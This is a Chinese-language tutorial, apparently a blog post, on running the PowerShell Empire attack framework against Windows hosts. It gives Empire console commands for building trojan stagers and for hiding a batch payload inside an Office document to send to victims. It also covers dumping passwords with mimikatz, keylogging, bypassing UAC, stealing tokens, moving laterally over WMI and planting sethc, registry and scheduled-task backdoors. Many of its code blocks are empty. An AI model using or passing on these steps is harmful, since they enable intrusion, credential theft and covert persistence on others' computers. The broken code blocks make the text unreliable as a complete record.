Empire使用
Empire是一款针对windows平台的,使用powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成,提权到渗透维持的一系列功能。 无需powershell.exe就可运行Powershell代理的功能,还可以快速再后期部署漏洞利用模块,其内置模块有键盘记录,mimikatz,绕过UAC,内网扫描等,并且能够躲避网络检测和大部分安全防护工具的查杀,简单来说有点类似于Metasploit,是一个基于Powershell的远程控制木马。
全部功能参照:http://www.powershellempire.com/
安装:
git clone https://github.com/EmpireProject/Empire.git
接着
1 |
|
和metasploit使用原理都是一样的,都是先设置一个监听,接着生成木马,然后在目标主机中运行该木马,我们的监听就会连接上返弹回来的代理
建立监听:
输入Listeners 进入监听线程界面 可以输入help查看帮助
接着输入uselistener来设置采用何种模式,通过双击tab键可以看到一共有7中模式:
dbx,http,http_com,http_foreign,http_hop,http_mapi,meterpreter
使用http监听模式:
uselistener http
然后输入 info 查看具体参数
通过set命令设置参数
1 |
|
输入back命令即可返回上一层listeners界面
输入list命令可以列出当前激活的listener
使用kill命令就能删除该监听
agents下:
kill all 杀死所有进程
remove all 删除所有
生成木马:
输入usestaget来设置采用何种模块,同样双击tab键,可以看到共26个模块。
其中multi为通用模块,osx是mac操作系统模块,剩下的就是windows的模块。
DLL木马
想要设置dll木马,首先输入 usestager windows/dll
然后输入info命令查看详细参数。
1
2
3set Listener shuteer
execute #生成木马
就会在tmp目录下生成名为launcher.dll木马launcher
如果只需要简单的powershell代码,在设置完相应模块后,可以直接在监听器菜单中键入:
1
launcher <language><listerName>
将很快生成一行base64编码代码,这里输入back命令回到listener下
然后输入launcher powershellshuteer(当前设置的listener名字)命令来生成一个payload.
1
launcher powershell shuteer #生成powershell代码
launcher_vbs木马
输入usestager windows/launcher_vbs
输入info 查看设置参数
1
2set listener shuteer
execute #生成的文件在tmp目录下最后输入back回到listener开始监听
如果要生成powershell代码,设置完listener后不输入execute,直接输入back,然后输入launcher powershll shuteer即可
1 |
|
launcher_bat木马
usestager windows/launcher_bat
info
1
2set listener shuteer
execute为了增加迷惑性,也可以将该批处理文件插入一个offic文件中,这里随便找一个word或者excel文件中,单击”插入”–>”对象”–>”由文件创建-“->
“浏览”(选择刚刚生成的批处理文件,然后勾选”显示为图标”)
在”更改图标”界面里,我们可以选择一个图标,这里建议使用微软的Excel,Word或者PowerPoint图标
选择完之后,点击确定,该对象就会插入到文件中
将该文件发给别人,一旦打开该文件,并运行了内嵌的批处理文件,就会得到这个主机的权限
360安全卫士会报告发现宏病毒
Macro木马:
要想设置Macro木马,首先需要输入usestager windows/macro命令然后输入info命令插卡详细信息:
1 |
|
默认会生成一个宏,储存在/tmp/macro文件中
然后需要将生成的宏添加到一个Office文档里面,这里打开一个word文件,单击‘视图’ 标签,选择 ‘宏’ ,在‘宏的位置’ 选择当前文件,宏名可以任意起一个,然后单击 ”创建“ 按钮
单击 ”创建“ 按钮以后会弹出VB编辑界面,将原来的代码删除,把生成的宏复制进去,另存为一个新文件。
最后将这个修改果的word拷到目标机上执行,打开后会提示一个安全警告,这里需要使用一些社会工程学的策略。
Ducky:
输入 usestager windows/ducky
然后 info 查看帮助信息
1 |
|
执行完就可以生成用于烧制的代码
将该代码烧制至”小黄鸭“中,插入目标用户的计算机,就可以反弹回来。
https://www.freebuf.com/geek/141839.html
连接主机的基本使用:
基本使用
1.列出以连接的主机
agents
然后使用 interact 连接主机
输入help 可以查看帮助信息
2.一些基本命令
pwd 显示当前目录
getpid 查看当前进程
输入help agentcmds 可以看到可供使用的常用命令
在使用部分cmd命令时,要使用”shell +命令”的格式
内置mimikatz但需要管理员权限
输入mimikatz
然后输入 creds命令可以自动过滤,整理出获取的用户密码
导出凭证:creds export 目录/xx
- 在实际渗透过程中,由于种种原因,总会有部分主机丢失或失效,可以输入
list stale 命令列出已经丢失的反弹主机,然后输入remove stale 命令删去已经失效的主机
信息收集
可以使用search module 命令搜索需要使用的模块
通过使用 usemodule collection 然后Tab查看完整的列表
1.截屏
1 |
|
2.键盘记录
1 |
|
如果要持续进行键盘记录,可以把当前监控模块置于后台,输入jobs即可显示当前在后台的记录
如果要停止记录输入
jobs kill jobs_name
3.查找共享
1 |
|
4.收集目标主机信息
该模块可以查看本机用户。域组成员,最后的密码设置时间,剪贴板内容,系统基本信息,网络适配器等
1 |
|
5.列举系统信息(重点)
几乎列举了系统中的所有有用信息,如目标主机时间日志,应用程序控制策略日志,包括RDP登录信息,powershell脚本运行和保存的信息等。在运行这个脚本时需要管理员权限
1 |
|
6.ARP扫描
1 |
|
7.DNS信息收集
在内网中,知道所有及其的Hostname和对应的IP地址对分析内网结构至关重要
1 |
|
如果主机有两张网卡,Empire也会显示出来。方便我们寻找边界主机
8.查找域管登录服务器IP
在内网渗透中,要想拿到内网中某台机器的域管权限,方法之一就是找到域管登录的机器,然后横向渗透进去。
1 |
|
9.本地管理组访问模块
1 |
|
10.获取域控制器
1 |
|
得知当前域服务器名为DC
在验证能否访问域服务器DC的“C$’’
1 |
|
权限提升
Bypass UAC
输入:
1
2
3
4usemodule privesc/bypassuac
info
set Listener .....
execute然后会发现上线了一个新的反弹
back
agents
带星号的即为权限提升成功的agents
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3pKc9smF-1619775511101)(../typora/pic/image-20201226224409704.png)]
bypassuac_wscript
这个模块的大概原理是使用c:\Windows\wscript.exe执行payload,即绕过UAC实现管理员权限执行Payload,只适用于系统位Windows 7的目标主机,目前尚没有对应的补丁,部分杀毒软件会有提示。
输入:
1
2
3
4usemodule privesc/bypassuac_wscript
info
set Listener .....
execute带星号表示权限提升成功
PowerUp
Empire内置了PowerUp的部分工具,用于权限提升,主要有Windows错误系统配置漏洞,Windows Services漏洞,AlwaysInstallElevated漏洞等8种提权方式。
输入:
1 |
|
1.allchecks
查找系统中的漏洞,和powerSploit中的Invoke-AllChecks模块一样,该模块可以执行所有脚本检查系统漏洞
1 |
|
一般会列出一些提权方法:
可以尝试bypass UAC来提权
接着输入bypassuac root1(listener 名字)
星号表示提权成功
GPP
在域里常会启用组策略首选项来更改本地密码,便于管理和部署映像,其缺点是任何普通域用户都可以从相关域控制器的SYSVOL中读取部署信息。GPP是采用AES 256加密的
输入以下命令即可查看
1 |
|
横向渗透
令牌窃取
在获取服务器权限后,可以使用内置的Mimikatz获取系统密码,执行完毕后输入creds
命令即可查看Empire列举的密码。
可以发现有域用户曾在此服务器上登录,此时可以窃取域用户身份,然后进行横向渗透,首先要窃取身份
使用pth
命令 这里ID就是creadID号
可以看到执行完之后显示PID进程为2040
使用steal_token PID命令即可窃取该身份
同样可以输入ps查看是否有域用户的进程
如果有同样通过 steal_token命令来窃取这个令牌
1 |
|
输入 revtoself 命令可以将令牌权限恢复到原来的状态。
会话注入
1
2
3usemodule management/psinject
set Listener
set ProcId #设置进程id该模块进行进程注入,获取权限。
设置Listener 和Proc ID这两个参数运行反弹shell
缺点:是能被基本的杀毒软件检测并留下日志,而且需要开启admiin$445端口共享
优点:是可以直接返回system权限。
该模块的前提是已经获得本地管理员权限,甚至域管理员账户,然后以此进一步持续渗透整个内网。
1 |
|
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EiuWuqes-1619775582049)(../typora/pic/image-20201227125717808.png)]
Invoke -WMI
比Ps-Exec安全,所有windows系统都启用了该服务,不会写入日志。极高隐蔽性。如果目标机开启了防火墙WMI将无法连接目标机器。
1
2
3
4usemodule lateral_movement/invoke_wmi
set Listener #设置监听名
set ComputerName #设置机器名
executePowerShell Remoting
Powershell Remoting是Powershell 的远程管理功能。开启windows远程管理服务WinRM系统会监听5985端口,该服务默认在windows server2012中是开启的,在windows server 2003/2008/2008 R2中需要手动启动。
1
2
3
4usemodule lateral_movement/invoke_paremoting
set Listener #设置监听名
set ComputerName #设置机器名
execute
后门
后门最主要的目的就是方便以后再次秘密进入或者控制系统
权限持久性劫持shift后门
输入:
1
2
3
4
5usemodule lateral_movement/invoke_wmi_debugger
set Listener #设置监听名
set ComputerName #设置机器名
set TargetBinary sethc.exe
execute运行完后再目标主机远程登录窗口按5次shift键即可触发后门。
sethc.exe可以替换成以下这几项:
1.Utilman.exe(使用Win+U组合键启动)
2.osk.exe(屏幕上的键盘:使用win+U启动组合键)
3.Narrator.exe(启动讲述人:使用win+U启动组合键)
4.Magnify.exe(放大镜:使用Win+U组合键启动)
注册表注入后门
1
2
3usemodule persistence/userland/registry
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute当我们登录系统时木马就会运行,服务端反弹成功。
计划任务获得系统权限
到了具体的时间将成功返回一个高权限shell,再实际渗透模块中运行该模块时,杀毒软件会有提示
1
2
3
4usemodule persistence/elevated/schtasks
set Listener wei
set DailyTime 15:36
execute这里如果把 set RegPath改为 set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
那么就会再15:36添加一个注册表注入后门。
Empire反弹回Metasploit
在实际渗透中,当拿到Webshell上传的MSF客户端无法绕过目标主机的杀毒软件时,可以使用Powershell来绕过,也可以执行Empire的payload来绕过,成功之后在使用Empire的模块将其反弹回Metasploit
1 |
|
在msf上设置监听:
1 |
|